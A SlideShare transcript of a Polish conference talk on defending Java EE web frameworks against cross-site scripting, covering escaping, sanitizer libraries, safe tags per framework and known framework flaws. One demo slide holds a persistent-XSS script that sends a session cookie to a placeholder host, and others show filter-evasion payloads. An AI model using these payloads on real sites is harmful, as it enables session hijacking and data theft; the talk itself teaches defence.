SlideShare a Scribd company logo
1 of 61
Download to read offline
Frameworki JEE vs cross-site scripting (XSS)
O mnie
•14 lat doświadczenia w systemach WEB
•Developer, Technical Leader, Project Manager
•Java/JEE
•(ISC)2 CISSP
•CTO w J-LABS
Dygresja
Dygresja
Jak sądzicie ilu developerów aplikacji WEB
wie co to jest XSS?
Dygresja
Jak sądzicie ilu developerów aplikacji WEB
wie co to jest XSS?
•…50% wie…
Dygresja
Jak sądzicie ilu developerów aplikacji WEB
wie co to jest XSS?
•…50% wie…
•…z nich 50% wie jak się zabezpieczyć
Dygresja 2
A jak się sobie radzicie z XSS w waszym projekcie?
Dygresja 2
A jak się sobie radzicie z XSS w waszym projekcie?
•„Mamy bibliotekę / framework XXX, który nas
przed tym chroni”
Dygresja 2
A jak się sobie radzicie z XSS w waszym projekcie?
•„Mamy bibliotekę / framework XXX, który nas
przed tym chroni”
•„W sumie to nie wiem, ale chyba NIC nie robimy”
Dygresja 2
A jak się sobie radzicie z XSS w waszym projekcie?
•„Mamy bibliotekę / framework XXX, który nas
przed tym chroni”
•„W sumie to nie wiem, ale chyba NIC nie robimy”
•„Zadbał o to nasz tech/team leader wiec ja nie
musze nic robić”
XSS?
Co to jest XSS?
XSS - definicja
•Dotyczy serwisów WWW
•Wykonanie skryptu JavaScript
•… ale także ActiveX, Flash czy Silverlight
•Wykonanie w przeglądarce
XSS - rodzaje
•Persistent
•Non-persistent (reflected)
Persistent
Kod przechowywany na serwerze
Non-persistent (reflected)
Kod przesyłany przez atakującego do ofiary (np. w URL)
Demo
•Persistent XSS
Co się stało
•Persistent XSS – ukryty w opisie
Opis
<script type='text/javascript'>
function doNastyThing() {
var inputField = getinputField();
var secretValue = 'amount=' + inputField.value + '_'
+ readCookie('JSESSIONID');
var path = 'http://host/file_' + secretValue + '.jpg';
httpGet(path);
}
function httpGet(path) {
var xmlHttp = new XMLHttpRequest();
xmlHttp.open('GET', path, false);
}
. . .
</script>
dalszy opis...
Co się stało
•Dane przesłane jako próba wczytania JPG
http://www.j-labs.pl/file_amount=47_
JSESSIONID=AS348AF929FK219CKA9FK3B79870H.jpg
Jak może być groźny XSS
•OWASP top 10 miejsce 3
Jak może być groźny XSS
•OWASP top 10 miejsce 3
•Pozwala na:
•kradzież, zmianę cookies
•przejecie sesji
•kradzież konta
•zmiana zawartości strony
•odczyt zawartości strony – kradzież danych
•ataki DOS
•itd..
Jak może być groźny XSS
•OWASP top 10 miejsce 3
•SamyWorm, 2005:
•używający XSS,
•w 24h zainfekował milion profili w MySpace.
•Pozwala na:
•kradzież, zmianę cookies
•przejecie sesji
•kradzież konta
•zmiana zawartości strony
•odczyt zawartości strony – kradzież danych
•ataki DOS
•itd..
Jak się zabezpieczyć
Jak się zabezpieczyć
•Filtrowanie danych wejściowych?
Jak się zabezpieczyć
•Filtrowanie danych wejściowych?
•Escapowanie danych wyświetlanych?
Filtrowanie danych wejściowych?
•Co z np. <IMG SRC=j&#X41vascript:alert('test2')> ?
<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;
&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>
Filtrowanie danych wejściowych?
•Co z np. <IMG SRC=j&#X41vascript:alert('test2')> ?
<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;
&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>
•A jeśli użytkownicy chcą wpisywać dowolne znaki?
Filtrowanie danych wejściowych?
•Co z np. <IMG SRC=j&#X41vascript:alert('test2')> ?
<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;
&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>
•Co z systemami powiązanymi?
•A jeśli użytkownicy chcą wpisywać dowolne znaki?
Filtrowanie danych wejściowych?
•Co z np. <IMG SRC=j&#X41vascript:alert('test2')> ?
<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;
&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>
•Co z systemami powiązanymi?
•Połączone podatności np. ‘<‘ || ‘scr‘ || ‘ipt>‘
•A jeśli użytkownicy chcą wpisywać dowolne znaki?
Filtrowanie danych wejściowych?
•Filtrować czy nie? Jest sens?
Filtrowanie danych wejściowych?
•Filtrować czy nie? Jest sens?
•TAK
•walidacja danych, poprawność danych
•utrudniamy ataki nie tylko XSS
Escapowanie
& → &amp;
< → &lt;
> → &gt;
” → &quot;
’ → &apos;
Escapowanie
•Komunikaty o błędach
•E-maile w HTMLu
•Escapowanie do odpowiedniego kontekstu: JavaSrcipt,
CSS, HTML
Sanityzacja
•Czyli escapowanie na wejściu
•… oraz &amp; &lt; &gt; &quot; w bazie danych
Escapowanie ???
Zawansowane techniki
HTML → DOM
White list - tylko dozwolone tagi
DOM → HTML
Jsoup
•http://jsoup.org/cookbook/cleaning-html/whitelist-sanitizer
•Aktywnie rozwijany
•Parsuje HTML do DOM
•White list
•Maven2 org.jsoup:jsoup
HDIV
•http://www.hdiv.org/
•Wspiera Strutsy 1.x, 2.x, Spring MVC, JSF
•Własne tagi dla różnych frameworków
XssProtect
•http://code.google.com/p/xssprotect/
•Buduje drzewo DOM i czyści
•Ostatnia aktualizacja 2008
OWASP AntiSamy
•http://code.google.com/p/owaspantisamy/
•White list
•Maven2 org.owasp.antisamy:antisamy
•Parsuje HTML do DOM
OWASP ESAPI
•Zawansowane narzędzie - nie tylko XSS
•Słaba dokumentacja
•Maven2 org.owasp.esapi:esapi
Zabezpieczanie - zasady ogólne
•Zabezpieczenie to rola developera
Zabezpieczanie - zasady ogólne
•Zabezpieczenie to rola developera
•White list
•Wszystkie wejścia do systemu:
•formatki,
•nagłówki,
•ciasteczka,
•systemy zewnętrzne (WS, RMI, Corba, JMS itd.),
•import/upload plików
•Ustawić kodowanie dla stron
Zabezpieczanie - zasady ogólne
•Walidacja po stronie serwera
•Bug traq – weryfikacja podatności frameworka
•Escapowanie wszędzie – także na stronach opisujących
błędy (częsty wektor ataku)
•Mechanizmy frameworka (np. tagliby)
•nie scriptlety
•Escapowanie do odpowiedniego kontekstu (HTML, CSS,
JavaScript)
Temat
•aaa
•aaa
•aaa
•aaa
JSP
•NIE używać skryptletów
<%= pageContext.getAttribute("myTest") %>
<%= request.getParameter("username") %>
•NIE używać JSP expressions poza tagami ${someValue}
•Używać c.out i podobnych
<c:out value="${book.title}"/>
Struts
•Zasady jak dla JSP
•Struts 1 – bean:write
<bean:write name="name" property="prop"/>
•Struts 2 – c:out, s:property
<c:out value="${book.title}"/>
<s:property value="message"/>
JSF
•Używać: <h:outputText/> i <h:outputLabel/>
<h:outputLink value="#{bean.prop}" />
•Poza tagami #{user.text} jest bezpieczny dla JSF >= 2.0
•Kontrolki (ver. 1.2) nie są escapowane
•atrybut image <h:commandButton>
•atrybut src <h:graphicImage>
Seam
•Zasady jak dla JSF
GWT
•Uwaga na kontrolki – nie ma escapowania:
•z metodami: setInnerHTML, setHTML
•typu HTML
• setText i setInnerText są bezpieczne
•Trzeba być czujnym
GWT – safehtml
• com.google.gwt.safehtml do sanityzacji i escepowania
•Wspiera
•sanityzację HTMLi (SimpleHtmlSanitizer)
•budowanie bezpiecznych HTML'i (SafeHtmlBuilder)
•bezpieczne templaty (SafeHtmlTemplates)
•metody do escapowania „ręcznego” (SafeHtmlUtils)
Vaadin
Bazuje na GWT więc zasady jak dla GWT
Tapestry
„Tapestry does a great job on these issue; XSS is virtually impossible, as
all output generated by Tapestry is "filtered" unless you specifically ask
Tapestry not to” (http://tapestryjava.blogspot.com/2009/02/better-web-
framework-tapestrys-response.html).
•Bezpieczne
${message}
<t:output format="defaultFormat" value="message"/>
•Nie bezpieczne
<t:output format=„format" value=„msg" filter="false"/>
<t:outputRaw value="message"/>
Stripes
•Zasady jak dla JSP
•XSSInterceptor (Servlet API Filter)
•Escapuje przychodzące dane
•Może czasem – nie używałbym
Spring MVC
•Default escape - false
•Włączenie globalne w web.xml
<web-app ...>
<context-param>
<param-name>defaultHtmlEscape</param-name>
<param-value>true</param-value>
</context-param>
...
</web-app>
•Włączenie na stronie
<spring:htmlEscape defaultHtmlEscape="true" />
Wicket
•Automatyczne zabezpieczenie poprzez escapowanie
danych wprowadzonych przez użytkownika
•Dużo podatności (wersja jest ważna)
Podatności w frameworkach
Podatności w frameworkach - przykłady
•Struts na „error page” (brak escapowania) w 1.2.7,
1.2.4, 1.1, 1.0.x i ponownie <2.2.3.
• „Apache Struts 2 framework before version 2.2.3 is vulnerable to
reflected cross site scripting attacks when default XWork generated
error messages are displayed. „
• Wiecej: http://www.cvedetails.com/vulnerability-list/vendor_id-
45/product_id-6117/Apache-Struts.html
•JSF – MyFaces
• „Remote exploitation of an input validation vulnerability in Apache
Software Foundation's MyFaces Tomahawk JSF framework could allow
an attacker to perform a cross-site scripting (XSS) attack.”
Podatności w frameworkach - przykłady
•Wicket, wersja 1.4.x
• „With multi window support application configuration and special query
parameters it is possible to execute any kind of JavaScript on a site
running with the affected versions. 1.4.x.”
•Vaadin, wersja <6.4.9
• „Cross-site scripting (XSS) vulnerability in Vaadin before 6.4.9 allows
remote attackers to inject arbitrary web script or HTML via unknown
vectors related to the index page.”
Linkowisko
• http://www.howtocreate.co.uk/crosssite.html
• https://www.owasp.org/index.php/DOM_Based_XSS
• https://www.owasp.org/index.php/Top_10_2010-Main
• http://en.wikipedia.org/wiki/Character_encodings_in_HTML
• http://en.wikipedia.org/wiki/HTML_sanitization
• http://owasp-esapi-java.googlecode.com/svn/trunk_doc/latest/org/owasp/esapi/Encoder.html
• http://owasp-esapi-java.googlecode.com/svn/trunk_doc/latest/org/owasp/esapi/Validator.html
• http://stackoverflow.com/questions/7771949/cout-nested-inside-element-attribute
• https://www.owasp.org/images/b/be/A_Gap_Analysis_of_Application_Security_in_Struts2.pdf
• http://www.mkyong.com/jsf2/jsf-2-outputtext-example/
• http://stackoverflow.com/questions/4430743/what-are-the-security-concerns-for-jsf
• http://seamframework.org/Documentation/CrossSiteScripting
• http://docs.jboss.com/seam/latest/reference/en-US/html/text.html
• http://code.google.com/p/gwt-examples/wiki/SafeHtml
• http://www.javabeat.net/examples/2010/11/30/spring-html-escape-and-escape-body-tags-
springhtmlescape-and-springescapebody/
• http://www.hacktics.com/fradvisories2.html
• http://wiki.apache.org/struts/StrutsXssVulnerability
• https://www.owasp.org/index.php/Cross-site_Scripting_%28XSS%29
www.j-labs.pl
Dziękuje
Piotr Bucki
piotr.bucki@j-labs.pl
Podziękowania za pomoc w
przygotowaniu dla:
Witold Zegarowski

More Related Content

What's hot

JDD 2017: Bezpieczny wypoczynek - czyli uwierzytelnianie RESTa (Krzysztof Be...
JDD 2017:  Bezpieczny wypoczynek - czyli uwierzytelnianie RESTa (Krzysztof Be...JDD 2017:  Bezpieczny wypoczynek - czyli uwierzytelnianie RESTa (Krzysztof Be...
JDD 2017: Bezpieczny wypoczynek - czyli uwierzytelnianie RESTa (Krzysztof Be...PROIDEA
 
Czy naprawdę wiesz co robi twoja przeglądarka?
Czy naprawdę wiesz co robi twoja przeglądarka?Czy naprawdę wiesz co robi twoja przeglądarka?
Czy naprawdę wiesz co robi twoja przeglądarka?OWASP
 
WebView security on iOS (PL)
WebView security on iOS (PL)WebView security on iOS (PL)
WebView security on iOS (PL)lpilorz
 
Motywy Wordpressa Historia Prawdziwa
Motywy Wordpressa Historia PrawdziwaMotywy Wordpressa Historia Prawdziwa
Motywy Wordpressa Historia PrawdziwaTomasz Dziuda
 
Statycznie czy dynamicznie? v.2.0
Statycznie czy dynamicznie? v.2.0Statycznie czy dynamicznie? v.2.0
Statycznie czy dynamicznie? v.2.0Tomasz Dziuda
 
Wprowadzenie do WP-API
Wprowadzenie do WP-APIWprowadzenie do WP-API
Wprowadzenie do WP-APITomasz Dziuda
 
Modsecurity-czy-Twoj-WAF-to-potrafi-Leszek-Mis-Linux-Polska
Modsecurity-czy-Twoj-WAF-to-potrafi-Leszek-Mis-Linux-PolskaModsecurity-czy-Twoj-WAF-to-potrafi-Leszek-Mis-Linux-Polska
Modsecurity-czy-Twoj-WAF-to-potrafi-Leszek-Mis-Linux-PolskaLeszek Mi?
 
Praktyczne ataki na aplikacje webowe (TAPT 2015)
Praktyczne ataki na aplikacje webowe (TAPT 2015)Praktyczne ataki na aplikacje webowe (TAPT 2015)
Praktyczne ataki na aplikacje webowe (TAPT 2015)Adam Ziaja
 
Motywy dla WordPressa - historia prawdziwa - WordUp Warszawa
Motywy dla WordPressa - historia prawdziwa - WordUp WarszawaMotywy dla WordPressa - historia prawdziwa - WordUp Warszawa
Motywy dla WordPressa - historia prawdziwa - WordUp WarszawaTomasz Dziuda
 
Word up warszawa 2015
Word up warszawa 2015Word up warszawa 2015
Word up warszawa 2015Tomasz Dziuda
 
Cyberprzestępczość 2.0 (TAPT 2014)
Cyberprzestępczość 2.0 (TAPT 2014)Cyberprzestępczość 2.0 (TAPT 2014)
Cyberprzestępczość 2.0 (TAPT 2014)Adam Ziaja
 
Jak blog, to tylko na Wordpressie | Warsztat @ Inkubator Kultury, Szczecin 2015
Jak blog, to tylko na Wordpressie | Warsztat @ Inkubator Kultury, Szczecin 2015Jak blog, to tylko na Wordpressie | Warsztat @ Inkubator Kultury, Szczecin 2015
Jak blog, to tylko na Wordpressie | Warsztat @ Inkubator Kultury, Szczecin 2015Paweł Krzych
 
Bezpieczenstwo Portali Spolecznosciowych W Ujeciu Robakow Web 20 Pingwinaria2009
Bezpieczenstwo Portali Spolecznosciowych W Ujeciu Robakow Web 20 Pingwinaria2009Bezpieczenstwo Portali Spolecznosciowych W Ujeciu Robakow Web 20 Pingwinaria2009
Bezpieczenstwo Portali Spolecznosciowych W Ujeciu Robakow Web 20 Pingwinaria2009Logicaltrust pl
 
Skalowalność Magento - MMPL13
Skalowalność Magento - MMPL13Skalowalność Magento - MMPL13
Skalowalność Magento - MMPL13Divante
 
Jak tworzyć motywy przyjazne użytkownikom i programistom - WordUp Silesia
Jak tworzyć motywy przyjazne użytkownikom i programistom - WordUp SilesiaJak tworzyć motywy przyjazne użytkownikom i programistom - WordUp Silesia
Jak tworzyć motywy przyjazne użytkownikom i programistom - WordUp SilesiaTomasz Dziuda
 
Piątek z XSolve - Bezpieczne nagłówki HTTP
Piątek z XSolve - Bezpieczne nagłówki HTTPPiątek z XSolve - Bezpieczne nagłówki HTTP
Piątek z XSolve - Bezpieczne nagłówki HTTPXSolve
 
Dokąd zmierza WordPress?
Dokąd zmierza WordPress?Dokąd zmierza WordPress?
Dokąd zmierza WordPress?Tomasz Dziuda
 
Zabezpiecz swoją stronę w Joomla!
Zabezpiecz swoją stronę w Joomla!Zabezpiecz swoją stronę w Joomla!
Zabezpiecz swoją stronę w Joomla!Wojciech Klocek
 

What's hot (20)

JDD 2017: Bezpieczny wypoczynek - czyli uwierzytelnianie RESTa (Krzysztof Be...
JDD 2017:  Bezpieczny wypoczynek - czyli uwierzytelnianie RESTa (Krzysztof Be...JDD 2017:  Bezpieczny wypoczynek - czyli uwierzytelnianie RESTa (Krzysztof Be...
JDD 2017: Bezpieczny wypoczynek - czyli uwierzytelnianie RESTa (Krzysztof Be...
 
Czy naprawdę wiesz co robi twoja przeglądarka?
Czy naprawdę wiesz co robi twoja przeglądarka?Czy naprawdę wiesz co robi twoja przeglądarka?
Czy naprawdę wiesz co robi twoja przeglądarka?
 
JavaScript. Rozmówki
JavaScript. RozmówkiJavaScript. Rozmówki
JavaScript. Rozmówki
 
WebView security on iOS (PL)
WebView security on iOS (PL)WebView security on iOS (PL)
WebView security on iOS (PL)
 
Motywy Wordpressa Historia Prawdziwa
Motywy Wordpressa Historia PrawdziwaMotywy Wordpressa Historia Prawdziwa
Motywy Wordpressa Historia Prawdziwa
 
Statycznie czy dynamicznie? v.2.0
Statycznie czy dynamicznie? v.2.0Statycznie czy dynamicznie? v.2.0
Statycznie czy dynamicznie? v.2.0
 
Wprowadzenie do WP-API
Wprowadzenie do WP-APIWprowadzenie do WP-API
Wprowadzenie do WP-API
 
Modsecurity-czy-Twoj-WAF-to-potrafi-Leszek-Mis-Linux-Polska
Modsecurity-czy-Twoj-WAF-to-potrafi-Leszek-Mis-Linux-PolskaModsecurity-czy-Twoj-WAF-to-potrafi-Leszek-Mis-Linux-Polska
Modsecurity-czy-Twoj-WAF-to-potrafi-Leszek-Mis-Linux-Polska
 
Praktyczne ataki na aplikacje webowe (TAPT 2015)
Praktyczne ataki na aplikacje webowe (TAPT 2015)Praktyczne ataki na aplikacje webowe (TAPT 2015)
Praktyczne ataki na aplikacje webowe (TAPT 2015)
 
Motywy dla WordPressa - historia prawdziwa - WordUp Warszawa
Motywy dla WordPressa - historia prawdziwa - WordUp WarszawaMotywy dla WordPressa - historia prawdziwa - WordUp Warszawa
Motywy dla WordPressa - historia prawdziwa - WordUp Warszawa
 
Word up warszawa 2015
Word up warszawa 2015Word up warszawa 2015
Word up warszawa 2015
 
Cyberprzestępczość 2.0 (TAPT 2014)
Cyberprzestępczość 2.0 (TAPT 2014)Cyberprzestępczość 2.0 (TAPT 2014)
Cyberprzestępczość 2.0 (TAPT 2014)
 
Jak blog, to tylko na Wordpressie | Warsztat @ Inkubator Kultury, Szczecin 2015
Jak blog, to tylko na Wordpressie | Warsztat @ Inkubator Kultury, Szczecin 2015Jak blog, to tylko na Wordpressie | Warsztat @ Inkubator Kultury, Szczecin 2015
Jak blog, to tylko na Wordpressie | Warsztat @ Inkubator Kultury, Szczecin 2015
 
WordPress dla początkujących
WordPress dla początkującychWordPress dla początkujących
WordPress dla początkujących
 
Bezpieczenstwo Portali Spolecznosciowych W Ujeciu Robakow Web 20 Pingwinaria2009
Bezpieczenstwo Portali Spolecznosciowych W Ujeciu Robakow Web 20 Pingwinaria2009Bezpieczenstwo Portali Spolecznosciowych W Ujeciu Robakow Web 20 Pingwinaria2009
Bezpieczenstwo Portali Spolecznosciowych W Ujeciu Robakow Web 20 Pingwinaria2009
 
Skalowalność Magento - MMPL13
Skalowalność Magento - MMPL13Skalowalność Magento - MMPL13
Skalowalność Magento - MMPL13
 
Jak tworzyć motywy przyjazne użytkownikom i programistom - WordUp Silesia
Jak tworzyć motywy przyjazne użytkownikom i programistom - WordUp SilesiaJak tworzyć motywy przyjazne użytkownikom i programistom - WordUp Silesia
Jak tworzyć motywy przyjazne użytkownikom i programistom - WordUp Silesia
 
Piątek z XSolve - Bezpieczne nagłówki HTTP
Piątek z XSolve - Bezpieczne nagłówki HTTPPiątek z XSolve - Bezpieczne nagłówki HTTP
Piątek z XSolve - Bezpieczne nagłówki HTTP
 
Dokąd zmierza WordPress?
Dokąd zmierza WordPress?Dokąd zmierza WordPress?
Dokąd zmierza WordPress?
 
Zabezpiecz swoją stronę w Joomla!
Zabezpiecz swoją stronę w Joomla!Zabezpiecz swoją stronę w Joomla!
Zabezpiecz swoją stronę w Joomla!
 

Viewers also liked

Atmosphere 2014: Lockless programming - Tomasz Barański
Atmosphere 2014: Lockless programming - Tomasz BarańskiAtmosphere 2014: Lockless programming - Tomasz Barański
Atmosphere 2014: Lockless programming - Tomasz BarańskiPROIDEA
 
PLNOG15: G-IKEv2 - Salah Gherdaoui, Praveena Shanubhogue
PLNOG15: G-IKEv2 - Salah Gherdaoui,  Praveena Shanubhogue PLNOG15: G-IKEv2 - Salah Gherdaoui,  Praveena Shanubhogue
PLNOG15: G-IKEv2 - Salah Gherdaoui, Praveena Shanubhogue PROIDEA
 
4Developers 2015: Agile Software Engineering Practices that Helps Deliver Bus...
4Developers 2015: Agile Software Engineering Practices that Helps Deliver Bus...4Developers 2015: Agile Software Engineering Practices that Helps Deliver Bus...
4Developers 2015: Agile Software Engineering Practices that Helps Deliver Bus...PROIDEA
 
PLNOG15: MPLS and SDN in modern Data Center - Artur Gmaj
PLNOG15: MPLS and SDN in modern Data Center - Artur Gmaj PLNOG15: MPLS and SDN in modern Data Center - Artur Gmaj
PLNOG15: MPLS and SDN in modern Data Center - Artur Gmaj PROIDEA
 
PLNOG15: Is there something less complicated than connecting two LAN networks...
PLNOG15: Is there something less complicated than connecting two LAN networks...PLNOG15: Is there something less complicated than connecting two LAN networks...
PLNOG15: Is there something less complicated than connecting two LAN networks...PROIDEA
 
PLNOG15: Operator 2025 – opportunities and risks in the brave new world of IC...
PLNOG15: Operator 2025 – opportunities and risks in the brave new world of IC...PLNOG15: Operator 2025 – opportunities and risks in the brave new world of IC...
PLNOG15: Operator 2025 – opportunities and risks in the brave new world of IC...PROIDEA
 
PLNOG15: IP services architecture with TDM quality in MPLS/IP networks - Mare...
PLNOG15: IP services architecture with TDM quality in MPLS/IP networks - Mare...PLNOG15: IP services architecture with TDM quality in MPLS/IP networks - Mare...
PLNOG15: IP services architecture with TDM quality in MPLS/IP networks - Mare...PROIDEA
 
CONFidence 2015: Abusing apns for profit - Karol Wiesek
CONFidence 2015: Abusing apns for profit - Karol WiesekCONFidence 2015: Abusing apns for profit - Karol Wiesek
CONFidence 2015: Abusing apns for profit - Karol WiesekPROIDEA
 
CONFidence 2015: CaaS (Crime-as-a-Service) – czy każdy może zostać cyberprzes...
CONFidence 2015: CaaS (Crime-as-a-Service) – czy każdy może zostać cyberprzes...CONFidence 2015: CaaS (Crime-as-a-Service) – czy każdy może zostać cyberprzes...
CONFidence 2015: CaaS (Crime-as-a-Service) – czy każdy może zostać cyberprzes...PROIDEA
 
PLNOG15: Session Border Controller – cost effective virtualized and cloud dep...
PLNOG15: Session Border Controller – cost effective virtualized and cloud dep...PLNOG15: Session Border Controller – cost effective virtualized and cloud dep...
PLNOG15: Session Border Controller – cost effective virtualized and cloud dep...PROIDEA
 
Atmosphere 2014: Scalable and under control - open cloud architecture conside...
Atmosphere 2014: Scalable and under control - open cloud architecture conside...Atmosphere 2014: Scalable and under control - open cloud architecture conside...
Atmosphere 2014: Scalable and under control - open cloud architecture conside...PROIDEA
 
PLNOG15: Implementation of integrated DDI/NAC solution for a health insurance...
PLNOG15: Implementation of integrated DDI/NAC solution for a health insurance...PLNOG15: Implementation of integrated DDI/NAC solution for a health insurance...
PLNOG15: Implementation of integrated DDI/NAC solution for a health insurance...PROIDEA
 
PLNOG15: Security and applications control in Next-Gen Data Center - Seweryn ...
PLNOG15: Security and applications control in Next-Gen Data Center - Seweryn ...PLNOG15: Security and applications control in Next-Gen Data Center - Seweryn ...
PLNOG15: Security and applications control in Next-Gen Data Center - Seweryn ...PROIDEA
 
CONFidence 2014: Kiss, Zagon, Sseller: Scaling security
CONFidence 2014: Kiss, Zagon, Sseller: Scaling securityCONFidence 2014: Kiss, Zagon, Sseller: Scaling security
CONFidence 2014: Kiss, Zagon, Sseller: Scaling securityPROIDEA
 
PLNOG15: Lego Bricks - How to use Amazon Services to create a lovely product ...
PLNOG15: Lego Bricks - How to use Amazon Services to create a lovely product ...PLNOG15: Lego Bricks - How to use Amazon Services to create a lovely product ...
PLNOG15: Lego Bricks - How to use Amazon Services to create a lovely product ...PROIDEA
 
CONFidence 2015: Lessons from DevOps: Taking DevOps practices into your AppSe...
CONFidence 2015: Lessons from DevOps: Taking DevOps practices into your AppSe...CONFidence 2015: Lessons from DevOps: Taking DevOps practices into your AppSe...
CONFidence 2015: Lessons from DevOps: Taking DevOps practices into your AppSe...PROIDEA
 
CONFidence 2014: Jakub Kałużny: Shameful secrets of proprietary protocols
CONFidence 2014: Jakub Kałużny: Shameful secrets of proprietary protocolsCONFidence 2014: Jakub Kałużny: Shameful secrets of proprietary protocols
CONFidence 2014: Jakub Kałużny: Shameful secrets of proprietary protocolsPROIDEA
 
PLNOG 13: Maciej Grabowski: HP Moonshot
PLNOG 13: Maciej Grabowski: HP MoonshotPLNOG 13: Maciej Grabowski: HP Moonshot
PLNOG 13: Maciej Grabowski: HP MoonshotPROIDEA
 
PLNOG15: Network Automation and Programmability Abstraction Layer with Multiv...
PLNOG15: Network Automation and Programmability Abstraction Layer with Multiv...PLNOG15: Network Automation and Programmability Abstraction Layer with Multiv...
PLNOG15: Network Automation and Programmability Abstraction Layer with Multiv...PROIDEA
 

Viewers also liked (20)

Atmosphere 2014: Lockless programming - Tomasz Barański
Atmosphere 2014: Lockless programming - Tomasz BarańskiAtmosphere 2014: Lockless programming - Tomasz Barański
Atmosphere 2014: Lockless programming - Tomasz Barański
 
PLNOG15: G-IKEv2 - Salah Gherdaoui, Praveena Shanubhogue
PLNOG15: G-IKEv2 - Salah Gherdaoui,  Praveena Shanubhogue PLNOG15: G-IKEv2 - Salah Gherdaoui,  Praveena Shanubhogue
PLNOG15: G-IKEv2 - Salah Gherdaoui, Praveena Shanubhogue
 
4Developers 2015: Agile Software Engineering Practices that Helps Deliver Bus...
4Developers 2015: Agile Software Engineering Practices that Helps Deliver Bus...4Developers 2015: Agile Software Engineering Practices that Helps Deliver Bus...
4Developers 2015: Agile Software Engineering Practices that Helps Deliver Bus...
 
PLNOG15: MPLS and SDN in modern Data Center - Artur Gmaj
PLNOG15: MPLS and SDN in modern Data Center - Artur Gmaj PLNOG15: MPLS and SDN in modern Data Center - Artur Gmaj
PLNOG15: MPLS and SDN in modern Data Center - Artur Gmaj
 
PLNOG15: Is there something less complicated than connecting two LAN networks...
PLNOG15: Is there something less complicated than connecting two LAN networks...PLNOG15: Is there something less complicated than connecting two LAN networks...
PLNOG15: Is there something less complicated than connecting two LAN networks...
 
PLNOG15: Operator 2025 – opportunities and risks in the brave new world of IC...
PLNOG15: Operator 2025 – opportunities and risks in the brave new world of IC...PLNOG15: Operator 2025 – opportunities and risks in the brave new world of IC...
PLNOG15: Operator 2025 – opportunities and risks in the brave new world of IC...
 
PLNOG15: IP services architecture with TDM quality in MPLS/IP networks - Mare...
PLNOG15: IP services architecture with TDM quality in MPLS/IP networks - Mare...PLNOG15: IP services architecture with TDM quality in MPLS/IP networks - Mare...
PLNOG15: IP services architecture with TDM quality in MPLS/IP networks - Mare...
 
CONFidence 2015: Abusing apns for profit - Karol Wiesek
CONFidence 2015: Abusing apns for profit - Karol WiesekCONFidence 2015: Abusing apns for profit - Karol Wiesek
CONFidence 2015: Abusing apns for profit - Karol Wiesek
 
CONFidence 2015: CaaS (Crime-as-a-Service) – czy każdy może zostać cyberprzes...
CONFidence 2015: CaaS (Crime-as-a-Service) – czy każdy może zostać cyberprzes...CONFidence 2015: CaaS (Crime-as-a-Service) – czy każdy może zostać cyberprzes...
CONFidence 2015: CaaS (Crime-as-a-Service) – czy każdy może zostać cyberprzes...
 
PLNOG15: Session Border Controller – cost effective virtualized and cloud dep...
PLNOG15: Session Border Controller – cost effective virtualized and cloud dep...PLNOG15: Session Border Controller – cost effective virtualized and cloud dep...
PLNOG15: Session Border Controller – cost effective virtualized and cloud dep...
 
Atmosphere 2014: Scalable and under control - open cloud architecture conside...
Atmosphere 2014: Scalable and under control - open cloud architecture conside...Atmosphere 2014: Scalable and under control - open cloud architecture conside...
Atmosphere 2014: Scalable and under control - open cloud architecture conside...
 
PLNOG15: Implementation of integrated DDI/NAC solution for a health insurance...
PLNOG15: Implementation of integrated DDI/NAC solution for a health insurance...PLNOG15: Implementation of integrated DDI/NAC solution for a health insurance...
PLNOG15: Implementation of integrated DDI/NAC solution for a health insurance...
 
PLNOG15: Security and applications control in Next-Gen Data Center - Seweryn ...
PLNOG15: Security and applications control in Next-Gen Data Center - Seweryn ...PLNOG15: Security and applications control in Next-Gen Data Center - Seweryn ...
PLNOG15: Security and applications control in Next-Gen Data Center - Seweryn ...
 
CONFidence 2014: Kiss, Zagon, Sseller: Scaling security
CONFidence 2014: Kiss, Zagon, Sseller: Scaling securityCONFidence 2014: Kiss, Zagon, Sseller: Scaling security
CONFidence 2014: Kiss, Zagon, Sseller: Scaling security
 
PLNOG15: Lego Bricks - How to use Amazon Services to create a lovely product ...
PLNOG15: Lego Bricks - How to use Amazon Services to create a lovely product ...PLNOG15: Lego Bricks - How to use Amazon Services to create a lovely product ...
PLNOG15: Lego Bricks - How to use Amazon Services to create a lovely product ...
 
CONFidence 2015: Lessons from DevOps: Taking DevOps practices into your AppSe...
CONFidence 2015: Lessons from DevOps: Taking DevOps practices into your AppSe...CONFidence 2015: Lessons from DevOps: Taking DevOps practices into your AppSe...
CONFidence 2015: Lessons from DevOps: Taking DevOps practices into your AppSe...
 
CONFidence 2014: Jakub Kałużny: Shameful secrets of proprietary protocols
CONFidence 2014: Jakub Kałużny: Shameful secrets of proprietary protocolsCONFidence 2014: Jakub Kałużny: Shameful secrets of proprietary protocols
CONFidence 2014: Jakub Kałużny: Shameful secrets of proprietary protocols
 
PLNOG 13: Maciej Grabowski: HP Moonshot
PLNOG 13: Maciej Grabowski: HP MoonshotPLNOG 13: Maciej Grabowski: HP Moonshot
PLNOG 13: Maciej Grabowski: HP Moonshot
 
PLNOG15: Network Automation and Programmability Abstraction Layer with Multiv...
PLNOG15: Network Automation and Programmability Abstraction Layer with Multiv...PLNOG15: Network Automation and Programmability Abstraction Layer with Multiv...
PLNOG15: Network Automation and Programmability Abstraction Layer with Multiv...
 
Interest
InterestInterest
Interest
 

Similar to 4Developers 2015: Frameworki jee vs cross-site scripting (xss) - Piotr Bucki

Pocałunek śmierci
Pocałunek śmierciPocałunek śmierci
Pocałunek śmierciDivante
 
Testowanie bezpieczenstwa aplikacji mobilnych
Testowanie bezpieczenstwa aplikacji mobilnychTestowanie bezpieczenstwa aplikacji mobilnych
Testowanie bezpieczenstwa aplikacji mobilnychSecuRing
 
W3 Total Cache - skuteczne przyśpieszanie WordPressa
